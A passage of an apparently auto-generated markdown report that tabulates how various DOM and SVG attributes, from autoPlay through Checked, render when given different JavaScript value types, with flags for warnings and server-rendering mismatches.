(initial)| `<null>` |\n\n## `autoPlay` (on `<video>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `autoPlay=(string)`| (changed)| `<boolean: true>` |\n| `autoPlay=(empty string)`| (initial)| `<boolean: false>` |\n| `autoPlay=(array with string)`| (changed)| `<boolean: true>` |\n| `autoPlay=(empty array)`| (changed)| `<boolean: true>` |\n| `autoPlay=(object)`| (changed)| `<boolean: true>` |\n| `autoPlay=(numeric string)`| (changed)| `<boolean: true>` |\n| `autoPlay=(-1)`| (changed)| `<boolean: true>` |\n| `autoPlay=(0)`| (initial)| `<boolean: false>` |\n| `autoPlay=(integer)`| (changed)| `<boolean: true>` |\n| `autoPlay=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `autoPlay=(float)`| (changed)| `<boolean: true>` |\n| `autoPlay=(true)`| (changed)| `<boolean: true>` |\n| `autoPlay=(false)`| (initial)| `<boolean: false>` |\n| `autoPlay=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `autoPlay=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `autoPlay=(string 'on')`| (changed)| `<boolean: true>` |\n| `autoPlay=(string 'off')`| (changed)| `<boolean: true>` |\n| `autoPlay=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `autoPlay=(function)`| (initial, warning)| `<boolean: false>` |\n| `autoPlay=(null)`| (initial)| `<boolean: false>` |\n| `autoPlay=(undefined)`| (initial)| `<boolean: false>` |\n\n## `autoReverse` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `autoReverse=(string)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(empty string)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(array with string)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(empty array)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(object)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(numeric string)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(-1)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(0)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(integer)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(NaN)`| (initial, warning, ssr mismatch)| `<null>` |\n| `autoReverse=(float)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(true)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(false)`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(string 'true')`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(string 'false')`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(string 'on')`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(string 'off')`| (initial, ssr mismatch)| `<null>` |\n| `autoReverse=(symbol)`| (initial, warning)| `<null>` |\n| `autoReverse=(function)`| (initial, warning)| `<null>` |\n| `autoReverse=(null)`| (initial)| `<null>` |\n| `autoReverse=(undefined)`| (initial)| `<null>` |\n\n## `autoSave` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `autoSave=(string)`| (changed)| `\"a string\"` |\n| `autoSave=(empty string)`| (changed)| `<empty string>` |\n| `autoSave=(array with string)`| (changed)| `\"string\"` |\n| `autoSave=(empty array)`| (changed)| `<empty string>` |\n| `autoSave=(object)`| (changed)| `\"result of toString()\"` |\n| `autoSave=(numeric string)`| (changed)| `\"42\"` |\n| `autoSave=(-1)`| (changed)| `\"-1\"` |\n| `autoSave=(0)`| (changed)| `\"0\"` |\n| `autoSave=(integer)`| (changed)| `\"1\"` |\n| `autoSave=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `autoSave=(float)`| (changed)| `\"99.99\"` |\n| `autoSave=(true)`| (initial, warning)| `<null>` |\n| `autoSave=(false)`| (initial, warning)| `<null>` |\n| `autoSave=(string 'true')`| (changed)| `\"true\"` |\n| `autoSave=(string 'false')`| (changed)| `\"false\"` |\n| `autoSave=(string 'on')`| (changed)| `\"on\"` |\n| `autoSave=(string 'off')`| (changed)| `\"off\"` |\n| `autoSave=(symbol)`| (initial, warning)| `<null>` |\n| `autoSave=(function)`| (initial, warning)| `<null>` |\n| `autoSave=(null)`| (initial)| `<null>` |\n| `autoSave=(undefined)`| (initial)| `<null>` |\n\n## `azimuth` (on `<feDistantLight>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `azimuth=(string)`| (initial)| `<number: 0>` |\n| `azimuth=(empty string)`| (initial)| `<number: 0>` |\n| `azimuth=(array with string)`| (initial)| `<number: 0>` |\n| `azimuth=(empty array)`| (initial)| `<number: 0>` |\n| `azimuth=(object)`| (initial)| `<number: 0>` |\n| `azimuth=(numeric string)`| (changed)| `<number: 42>` |\n| `azimuth=(-1)`| (changed)| `<number: -1>` |\n| `azimuth=(0)`| (initial)| `<number: 0>` |\n| `azimuth=(integer)`| (changed)| `<number: 1>` |\n| `azimuth=(NaN)`| (initial, warning)| `<number: 0>` |\n| `azimuth=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `azimuth=(true)`| (initial, warning)| `<number: 0>` |\n| `azimuth=(false)`| (initial, warning)| `<number: 0>` |\n| `azimuth=(string 'true')`| (initial)| `<number: 0>` |\n| `azimuth=(string 'false')`| (initial)| `<number: 0>` |\n| `azimuth=(string 'on')`| (initial)| `<number: 0>` |\n| `azimuth=(string 'off')`| (initial)| `<number: 0>` |\n| `azimuth=(symbol)`| (initial, warning)| `<number: 0>` |\n| `azimuth=(function)`| (initial, warning)| `<number: 0>` |\n| `azimuth=(null)`| (initial)| `<number: 0>` |\n| `azimuth=(undefined)`| (initial)| `<number: 0>` |\n\n## `baseFrequency` (on `<feTurbulence>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `baseFrequency=(string)`| (changed)| `\"a string\"` |\n| `baseFrequency=(empty string)`| (changed)| `<empty string>` |\n| `baseFrequency=(array with string)`| (changed)| `\"string\"` |\n| `baseFrequency=(empty array)`| (changed)| `<empty string>` |\n| `baseFrequency=(object)`| (changed)| `\"result of toString()\"` |\n| `baseFrequency=(numeric string)`| (changed)| `\"42\"` |\n| `baseFrequency=(-1)`| (changed)| `\"-1\"` |\n| `baseFrequency=(0)`| (changed)| `\"0\"` |\n| `baseFrequency=(integer)`| (changed)| `\"1\"` |\n| `baseFrequency=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `baseFrequency=(float)`| (changed)| `\"99.99\"` |\n| `baseFrequency=(true)`| (initial, warning)| `<null>` |\n| `baseFrequency=(false)`| (initial, warning)| `<null>` |\n| `baseFrequency=(string 'true')`| (changed)| `\"true\"` |\n| `baseFrequency=(string 'false')`| (changed)| `\"false\"` |\n| `baseFrequency=(string 'on')`| (changed)| `\"on\"` |\n| `baseFrequency=(string 'off')`| (changed)| `\"off\"` |\n| `baseFrequency=(symbol)`| (initial, warning)| `<null>` |\n| `baseFrequency=(function)`| (initial, warning)| `<null>` |\n| `baseFrequency=(null)`| (initial)| `<null>` |\n| `baseFrequency=(undefined)`| (initial)| `<null>` |\n\n## `baseline-shift` (on `<textPath>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `baseline-shift=(string)`| (changed, warning)| `\"a string\"` |\n| `baseline-shift=(empty string)`| (changed, warning)| `<empty string>` |\n| `baseline-shift=(array with string)`| (changed, warning)| `\"string\"` |\n| `baseline-shift=(empty array)`| (changed, warning)| `<empty string>` |\n| `baseline-shift=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `baseline-shift=(numeric string)`| (changed, warning)| `\"42\"` |\n| `baseline-shift=(-1)`| (changed, warning)| `\"-1\"` |\n| `baseline-shift=(0)`| (changed, warning)| `\"0\"` |\n| `baseline-shift=(integer)`| (changed, warning)| `\"1\"` |\n| `baseline-shift=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `baseline-shift=(float)`| (changed, warning)| `\"99.99\"` |\n| `baseline-shift=(true)`| (initial, warning)| `<null>` |\n| `baseline-shift=(false)`| (initial, warning)| `<null>` |\n| `baseline-shift=(string 'true')`| (changed, warning)| `\"true\"` |\n| `baseline-shift=(string 'false')`| (changed, warning)| `\"false\"` |\n| `baseline-shift=(string 'on')`| (changed, warning)| `\"on\"` |\n| `baseline-shift=(string 'off')`| (changed, warning)| `\"off\"` |\n| `baseline-shift=(symbol)`| (initial, warning)| `<null>` |\n| `baseline-shift=(function)`| (initial, warning)| `<null>` |\n| `baseline-shift=(null)`| (initial, warning)| `<null>` |\n| `baseline-shift=(undefined)`| (initial, warning)| `<null>` |\n\n## `baselineShift` (on `<textPath>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `baselineShift=(string)`| (changed)| `\"a string\"` |\n| `baselineShift=(empty string)`| (changed)| `<empty string>` |\n| `baselineShift=(array with string)`| (changed)| `\"string\"` |\n| `baselineShift=(empty array)`| (changed)| `<empty string>` |\n| `baselineShift=(object)`| (changed)| `\"result of toString()\"` |\n| `baselineShift=(numeric string)`| (changed)| `\"42\"` |\n| `baselineShift=(-1)`| (changed)| `\"-1\"` |\n| `baselineShift=(0)`| (changed)| `\"0\"` |\n| `baselineShift=(integer)`| (changed)| `\"1\"` |\n| `baselineShift=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `baselineShift=(float)`| (changed)| `\"99.99\"` |\n| `baselineShift=(true)`| (initial, warning)| `<null>` |\n| `baselineShift=(false)`| (initial, warning)| `<null>` |\n| `baselineShift=(string 'true')`| (changed)| `\"true\"` |\n| `baselineShift=(string 'false')`| (changed)| `\"false\"` |\n| `baselineShift=(string 'on')`| (changed)| `\"on\"` |\n| `baselineShift=(string 'off')`| (changed)| `\"off\"` |\n| `baselineShift=(symbol)`| (initial, warning)| `<null>` |\n| `baselineShift=(function)`| (initial, warning)| `<null>` |\n| `baselineShift=(null)`| (initial)| `<null>` |\n| `baselineShift=(undefined)`| (initial)| `<null>` |\n\n## `baseProfile` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `baseProfile=(string)`| (changed)| `\"a string\"` |\n| `baseProfile=(empty string)`| (changed)| `<empty string>` |\n| `baseProfile=(array with string)`| (changed)| `\"string\"` |\n| `baseProfile=(empty array)`| (changed)| `<empty string>` |\n| `baseProfile=(object)`| (changed)| `\"result of toString()\"` |\n| `baseProfile=(numeric string)`| (changed)| `\"42\"` |\n| `baseProfile=(-1)`| (changed)| `\"-1\"` |\n| `baseProfile=(0)`| (changed)| `\"0\"` |\n| `baseProfile=(integer)`| (changed)| `\"1\"` |\n| `baseProfile=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `baseProfile=(float)`| (changed)| `\"99.99\"` |\n| `baseProfile=(true)`| (initial, warning)| `<null>` |\n| `baseProfile=(false)`| (initial, warning)| `<null>` |\n| `baseProfile=(string 'true')`| (changed)| `\"true\"` |\n| `baseProfile=(string 'false')`| (changed)| `\"false\"` |\n| `baseProfile=(string 'on')`| (changed)| `\"on\"` |\n| `baseProfile=(string 'off')`| (changed)| `\"off\"` |\n| `baseProfile=(symbol)`| (initial, warning)| `<null>` |\n| `baseProfile=(function)`| (initial, warning)| `<null>` |\n| `baseProfile=(null)`| (initial)| `<null>` |\n| `baseProfile=(undefined)`| (initial)| `<null>` |\n\n## `bbox` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `bbox=(string)`| (changed)| `\"a string\"` |\n| `bbox=(empty string)`| (changed)| `<empty string>` |\n| `bbox=(array with string)`| (changed)| `\"string\"` |\n| `bbox=(empty array)`| (changed)| `<empty string>` |\n| `bbox=(object)`| (changed)| `\"result of toString()\"` |\n| `bbox=(numeric string)`| (changed)| `\"42\"` |\n| `bbox=(-1)`| (changed)| `\"-1\"` |\n| `bbox=(0)`| (changed)| `\"0\"` |\n| `bbox=(integer)`| (changed)| `\"1\"` |\n| `bbox=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `bbox=(float)`| (changed)| `\"99.99\"` |\n| `bbox=(true)`| (initial, warning)| `<null>` |\n| `bbox=(false)`| (initial, warning)| `<null>` |\n| `bbox=(string 'true')`| (changed)| `\"true\"` |\n| `bbox=(string 'false')`| (changed)| `\"false\"` |\n| `bbox=(string 'on')`| (changed)| `\"on\"` |\n| `bbox=(string 'off')`| (changed)| `\"off\"` |\n| `bbox=(symbol)`| (initial, warning)| `<null>` |\n| `bbox=(function)`| (initial, warning)| `<null>` |\n| `bbox=(null)`| (initial)| `<null>` |\n| `bbox=(undefined)`| (initial)| `<null>` |\n\n## `begin` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `begin=(string)`| (changed)| `\"a string\"` |\n| `begin=(empty string)`| (changed)| `<empty string>` |\n| `begin=(array with string)`| (changed)| `\"string\"` |\n| `begin=(empty array)`| (changed)| `<empty string>` |\n| `begin=(object)`| (changed)| `\"result of toString()\"` |\n| `begin=(numeric string)`| (changed)| `\"42\"` |\n| `begin=(-1)`| (changed)| `\"-1\"` |\n| `begin=(0)`| (changed)| `\"0\"` |\n| `begin=(integer)`| (changed)| `\"1\"` |\n| `begin=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `begin=(float)`| (changed)| `\"99.99\"` |\n| `begin=(true)`| (initial, warning)| `<null>` |\n| `begin=(false)`| (initial, warning)| `<null>` |\n| `begin=(string 'true')`| (changed)| `\"true\"` |\n| `begin=(string 'false')`| (changed)| `\"false\"` |\n| `begin=(string 'on')`| (changed)| `\"on\"` |\n| `begin=(string 'off')`| (changed)| `\"off\"` |\n| `begin=(symbol)`| (initial, warning)| `<null>` |\n| `begin=(function)`| (initial, warning)| `<null>` |\n| `begin=(null)`| (initial)| `<null>` |\n| `begin=(undefined)`| (initial)| `<null>` |\n\n## `bias` (on `<feConvolveMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `bias=(string)`| (initial)| `<number: 0>` |\n| `bias=(empty string)`| (initial)| `<number: 0>` |\n| `bias=(array with string)`| (initial)| `<number: 0>` |\n| `bias=(empty array)`| (initial)| `<number: 0>` |\n| `bias=(object)`| (initial)| `<number: 0>` |\n| `bias=(numeric string)`| (changed)| `<number: 42>` |\n| `bias=(-1)`| (changed)| `<number: -1>` |\n| `bias=(0)`| (initial)| `<number: 0>` |\n| `bias=(integer)`| (changed)| `<number: 1>` |\n| `bias=(NaN)`| (initial, warning)| `<number: 0>` |\n| `bias=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `bias=(true)`| (initial, warning)| `<number: 0>` |\n| `bias=(false)`| (initial, warning)| `<number: 0>` |\n| `bias=(string 'true')`| (initial)| `<number: 0>` |\n| `bias=(string 'false')`| (initial)| `<number: 0>` |\n| `bias=(string 'on')`| (initial)| `<number: 0>` |\n| `bias=(string 'off')`| (initial)| `<number: 0>` |\n| `bias=(symbol)`| (initial, warning)| `<number: 0>` |\n| `bias=(function)`| (initial, warning)| `<number: 0>` |\n| `bias=(null)`| (initial)| `<number: 0>` |\n| `bias=(undefined)`| (initial)| `<number: 0>` |\n\n## `by` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `by=(string)`| (changed)| `\"a string\"` |\n| `by=(empty string)`| (changed)| `<empty string>` |\n| `by=(array with string)`| (changed)| `\"string\"` |\n| `by=(empty array)`| (changed)| `<empty string>` |\n| `by=(object)`| (changed)| `\"result of toString()\"` |\n| `by=(numeric string)`| (changed)| `\"42\"` |\n| `by=(-1)`| (changed)| `\"-1\"` |\n| `by=(0)`| (changed)| `\"0\"` |\n| `by=(integer)`| (changed)| `\"1\"` |\n| `by=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `by=(float)`| (changed)| `\"99.99\"` |\n| `by=(true)`| (initial, warning)| `<null>` |\n| `by=(false)`| (initial, warning)| `<null>` |\n| `by=(string 'true')`| (changed)| `\"true\"` |\n| `by=(string 'false')`| (changed)| `\"false\"` |\n| `by=(string 'on')`| (changed)| `\"on\"` |\n| `by=(string 'off')`| (changed)| `\"off\"` |\n| `by=(symbol)`| (initial, warning)| `<null>` |\n| `by=(function)`| (initial, warning)| `<null>` |\n| `by=(null)`| (initial)| `<null>` |\n| `by=(undefined)`| (initial)| `<null>` |\n\n## `calcMode` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `calcMode=(string)`| (changed)| `\"discrete\"` |\n| `calcMode=(empty string)`| (changed)| `<empty string>` |\n| `calcMode=(array with string)`| (changed)| `\"discrete\"` |\n| `calcMode=(empty array)`| (changed)| `<empty string>` |\n| `calcMode=(object)`| (changed)| `\"result of toString()\"` |\n| `calcMode=(numeric string)`| (changed)| `\"42\"` |\n| `calcMode=(-1)`| (changed)| `\"-1\"` |\n| `calcMode=(0)`| (changed)| `\"0\"` |\n| `calcMode=(integer)`| (changed)| `\"1\"` |\n| `calcMode=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `calcMode=(float)`| (changed)| `\"99.99\"` |\n| `calcMode=(true)`| (initial, warning)| `<null>` |\n| `calcMode=(false)`| (initial, warning)| `<null>` |\n| `calcMode=(string 'true')`| (changed)| `\"true\"` |\n| `calcMode=(string 'false')`| (changed)| `\"false\"` |\n| `calcMode=(string 'on')`| (changed)| `\"on\"` |\n| `calcMode=(string 'off')`| (changed)| `\"off\"` |\n| `calcMode=(symbol)`| (initial, warning)| `<null>` |\n| `calcMode=(function)`| (initial, warning)| `<null>` |\n| `calcMode=(null)`| (initial)| `<null>` |\n| `calcMode=(undefined)`| (initial)| `<null>` |\n\n## `cap-height` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `cap-height=(string)`| (changed, warning)| `\"a string\"` |\n| `cap-height=(empty string)`| (changed, warning)| `<empty string>` |\n| `cap-height=(array with string)`| (changed, warning)| `\"string\"` |\n| `cap-height=(empty array)`| (changed, warning)| `<empty string>` |\n| `cap-height=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `cap-height=(numeric string)`| (changed, warning)| `\"42\"` |\n| `cap-height=(-1)`| (changed, warning)| `\"-1\"` |\n| `cap-height=(0)`| (changed, warning)| `\"0\"` |\n| `cap-height=(integer)`| (changed, warning)| `\"1\"` |\n| `cap-height=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `cap-height=(float)`| (changed, warning)| `\"99.99\"` |\n| `cap-height=(true)`| (initial, warning)| `<null>` |\n| `cap-height=(false)`| (initial, warning)| `<null>` |\n| `cap-height=(string 'true')`| (changed, warning)| `\"true\"` |\n| `cap-height=(string 'false')`| (changed, warning)| `\"false\"` |\n| `cap-height=(string 'on')`| (changed, warning)| `\"on\"` |\n| `cap-height=(string 'off')`| (changed, warning)| `\"off\"` |\n| `cap-height=(symbol)`| (initial, warning)| `<null>` |\n| `cap-height=(function)`| (initial, warning)| `<null>` |\n| `cap-height=(null)`| (initial, warning)| `<null>` |\n| `cap-height=(undefined)`| (initial, warning)| `<null>` |\n\n## `capHeight` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `capHeight=(string)`| (changed)| `\"a string\"` |\n| `capHeight=(empty string)`| (changed)| `<empty string>` |\n| `capHeight=(array with string)`| (changed)| `\"string\"` |\n| `capHeight=(empty array)`| (changed)| `<empty string>` |\n| `capHeight=(object)`| (changed)| `\"result of toString()\"` |\n| `capHeight=(numeric string)`| (changed)| `\"42\"` |\n| `capHeight=(-1)`| (changed)| `\"-1\"` |\n| `capHeight=(0)`| (changed)| `\"0\"` |\n| `capHeight=(integer)`| (changed)| `\"1\"` |\n| `capHeight=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `capHeight=(float)`| (changed)| `\"99.99\"` |\n| `capHeight=(true)`| (initial, warning)| `<null>` |\n| `capHeight=(false)`| (initial, warning)| `<null>` |\n| `capHeight=(string 'true')`| (changed)| `\"true\"` |\n| `capHeight=(string 'false')`| (changed)| `\"false\"` |\n| `capHeight=(string 'on')`| (changed)| `\"on\"` |\n| `capHeight=(string 'off')`| (changed)| `\"off\"` |\n| `capHeight=(symbol)`| (initial, warning)| `<null>` |\n| `capHeight=(function)`| (initial, warning)| `<null>` |\n| `capHeight=(null)`| (initial)| `<null>` |\n| `capHeight=(undefined)`| (initial)| `<null>` |\n\n## `capture` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `capture=(string)`| (changed)| `\"environment\"` |\n| `capture=(empty string)`| (changed)| `<empty string>` |\n| `capture=(array with string)`| (changed)| `\"environment\"` |\n| `capture=(empty array)`| (changed)| `<empty string>` |\n| `capture=(object)`| (changed)| `\"result of toString()\"` |\n| `capture=(numeric string)`| (changed)| `\"42\"` |\n| `capture=(-1)`| (changed)| `\"-1\"` |\n| `capture=(0)`| (changed)| `\"0\"` |\n| `capture=(integer)`| (changed)| `\"1\"` |\n| `capture=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `capture=(float)`| (changed)| `\"99.99\"` |\n| `capture=(true)`| (changed)| `<empty string>` |\n| `capture=(false)`| (initial)| `<null>` |\n| `capture=(string 'true')`| (changed)| `\"true\"` |\n| `capture=(string 'false')`| (changed)| `\"false\"` |\n| `capture=(string 'on')`| (changed)| `\"on\"` |\n| `capture=(string 'off')`| (changed)| `\"off\"` |\n| `capture=(symbol)`| (initial, warning)| `<null>` |\n| `capture=(function)`| (initial, warning)| `<null>` |\n| `capture=(null)`| (initial)| `<null>` |\n| `capture=(undefined)`| (initial)| `<null>` |\n\n## `cellPadding` (on `<table>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `cellPadding=(string)`| (changed)| `\"a string\"` |\n| `cellPadding=(empty string)`| (initial)| `<empty string>` |\n| `cellPadding=(array with string)`| (changed)| `\"string\"` |\n| `cellPadding=(empty array)`| (initial)| `<empty string>` |\n| `cellPadding=(object)`| (changed)| `\"result of toString()\"` |\n| `cellPadding=(numeric string)`| (changed)| `\"42\"` |\n| `cellPadding=(-1)`| (changed)| `\"-1\"` |\n| `cellPadding=(0)`| (changed)| `\"0\"` |\n| `cellPadding=(integer)`| (changed)| `\"1\"` |\n| `cellPadding=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `cellPadding=(float)`| (changed)| `\"99.99\"` |\n| `cellPadding=(true)`| (initial, warning)| `<empty string>` |\n| `cellPadding=(false)`| (initial, warning)| `<empty string>` |\n| `cellPadding=(string 'true')`| (changed)| `\"true\"` |\n| `cellPadding=(string 'false')`| (changed)| `\"false\"` |\n| `cellPadding=(string 'on')`| (changed)| `\"on\"` |\n| `cellPadding=(string 'off')`| (changed)| `\"off\"` |\n| `cellPadding=(symbol)`| (initial, warning)| `<empty string>` |\n| `cellPadding=(function)`| (initial, warning)| `<empty string>` |\n| `cellPadding=(null)`| (initial)| `<empty string>` |\n| `cellPadding=(undefined)`| (initial)| `<empty string>` |\n\n## `cellSpacing` (on `<table>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `cellSpacing=(string)`| (changed)| `\"a string\"` |\n| `cellSpacing=(empty string)`| (initial)| `<empty string>` |\n| `cellSpacing=(array with string)`| (changed)| `\"string\"` |\n| `cellSpacing=(empty array)`| (initial)| `<empty string>` |\n| `cellSpacing=(object)`| (changed)| `\"result of toString()\"` |\n| `cellSpacing=(numeric string)`| (changed)| `\"42\"` |\n| `cellSpacing=(-1)`| (changed)| `\"-1\"` |\n| `cellSpacing=(0)`| (changed)| `\"0\"` |\n| `cellSpacing=(integer)`| (changed)| `\"1\"` |\n| `cellSpacing=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `cellSpacing=(float)`| (changed)| `\"99.99\"` |\n| `cellSpacing=(true)`| (initial, warning)| `<empty string>` |\n| `cellSpacing=(false)`| (initial, warning)| `<empty string>` |\n| `cellSpacing=(string 'true')`| (changed)| `\"true\"` |\n| `cellSpacing=(string 'false')`| (changed)| `\"false\"` |\n| `cellSpacing=(string 'on')`| (changed)| `\"on\"` |\n| `cellSpacing=(string 'off')`| (changed)| `\"off\"` |\n| `cellSpacing=(symbol)`| (initial, warning)| `<empty string>` |\n| `cellSpacing=(function)`| (initial, warning)| `<empty string>` |\n| `cellSpacing=(null)`| (initial)| `<empty string>` |\n| `cellSpacing=(undefined)`| (initial)| `<empty string>` |\n\n## `challenge` (on `<keygen>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `challenge=(string)`| (changed, warning, ssr warning)| `\"a string\"` |\n| `challenge=(empty string)`| (changed, warning, ssr warning)| `<empty string>` |\n| `challenge=(array with string)`| (changed, warning, ssr warning)| `\"string\"` |\n| `challenge=(empty array)`| (changed, warning, ssr warning)| `<empty string>` |\n| `challenge=(object)`| (changed, warning, ssr warning)| `\"result of toString()\"` |\n| `challenge=(numeric string)`| (changed, warning, ssr warning)| `\"42\"` |\n| `challenge=(-1)`| (changed, warning, ssr warning)| `\"-1\"` |\n| `challenge=(0)`| (changed, warning, ssr warning)| `\"0\"` |\n| `challenge=(integer)`| (changed, warning, ssr warning)| `\"1\"` |\n| `challenge=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `challenge=(float)`| (changed, warning, ssr warning)| `\"99.99\"` |\n| `challenge=(true)`| (initial, warning)| `<null>` |\n| `challenge=(false)`| (initial, warning)| `<null>` |\n| `challenge=(string 'true')`| (changed, warning, ssr warning)| `\"true\"` |\n| `challenge=(string 'false')`| (changed, warning, ssr warning)| `\"false\"` |\n| `challenge=(string 'on')`| (changed, warning, ssr warning)| `\"on\"` |\n| `challenge=(string 'off')`| (changed, warning, ssr warning)| `\"off\"` |\n| `challenge=(symbol)`| (initial, warning)| `<null>` |\n| `challenge=(function)`| (initial, warning)| `<null>` |\n| `challenge=(null)`| (initial, warning, ssr warning)| `<null>` |\n| `challenge=(undefined)`| (initial, warning, ssr warning)| `<null>` |\n\n## `charSet` (on `<script>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `charSet=(string)`| (changed)| `\"a string\"` |\n| `charSet=(empty string)`| (initial)| `<empty string>` |\n| `charSet=(array with string)`| (changed)| `\"string\"` |\n| `charSet=(empty array)`| (initial)| `<empty string>` |\n| `charSet=(object)`| (changed)| `\"result of toString()\"` |\n| `charSet=(numeric string)`| (changed)| `\"42\"` |\n| `charSet=(-1)`| (changed)| `\"-1\"` |\n| `charSet=(0)`| (changed)| `\"0\"` |\n| `charSet=(integer)`| (changed)| `\"1\"` |\n| `charSet=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `charSet=(float)`| (changed)| `\"99.99\"` |\n| `charSet=(true)`| (initial, warning)| `<empty string>` |\n| `charSet=(false)`| (initial, warning)| `<empty string>` |\n| `charSet=(string 'true')`| (changed)| `\"true\"` |\n| `charSet=(string 'false')`| (changed)| `\"false\"` |\n| `charSet=(string 'on')`| (changed)| `\"on\"` |\n| `charSet=(string 'off')`| (changed)| `\"off\"` |\n| `charSet=(symbol)`| (initial, warning)| `<empty string>` |\n| `charSet=(function)`| (initial, warning)| `<empty string>` |\n| `charSet=(null)`| (initial)| `<empty string>` |\n| `charSet=(undefined)`| (initial)| `<empty string>` |\n\n## `checked` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `checked=(string)`| (changed)| `<boolean: true>` |\n| `checked=(empty string)`| (initial)| `<boolean: false>` |\n| `checked=(array with string)`| (changed)| `<boolean: true>` |\n| `checked=(empty array)`| (changed)| `<boolean: true>` |\n| `checked=(object)`| (changed)| `<boolean: true>` |\n| `checked=(numeric string)`| (changed)| `<boolean: true>` |\n| `checked=(-1)`| (changed)| `<boolean: true>` |\n| `checked=(0)`| (initial)| `<boolean: false>` |\n| `checked=(integer)`| (changed)| `<boolean: true>` |\n| `checked=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `checked=(float)`| (changed)| `<boolean: true>` |\n| `checked=(true)`| (changed)| `<boolean: true>` |\n| `checked=(false)`| (initial)| `<boolean: false>` |\n| `checked=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `checked=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `checked=(string 'on')`| (changed)| `<boolean: true>` |\n| `checked=(string 'off')`| (changed)| `<boolean: true>` |\n| `checked=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `checked=(function)`| (initial, warning)| `<boolean: false>` |\n| `checked=(null)`| (initial)| `<boolean: false>` |\n| `checked=(undefined)`| (initial)| `<boolean: false>` |\n\n## `Checked` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `Checked=(string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(empty string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(array with string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(empty array)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(object)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(numeric string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(-1)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(0)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(integer)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(NaN)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(float)`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(true)`| (initial, warning)| `<null>` |\n| `Checked=(false)`| (initial, warning)| `<null>` |\n| `Checked=(string 'true')`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(string 'false')`| (initial, warning, ssr mismatch)| `<null>` |\n| `Checked=(string 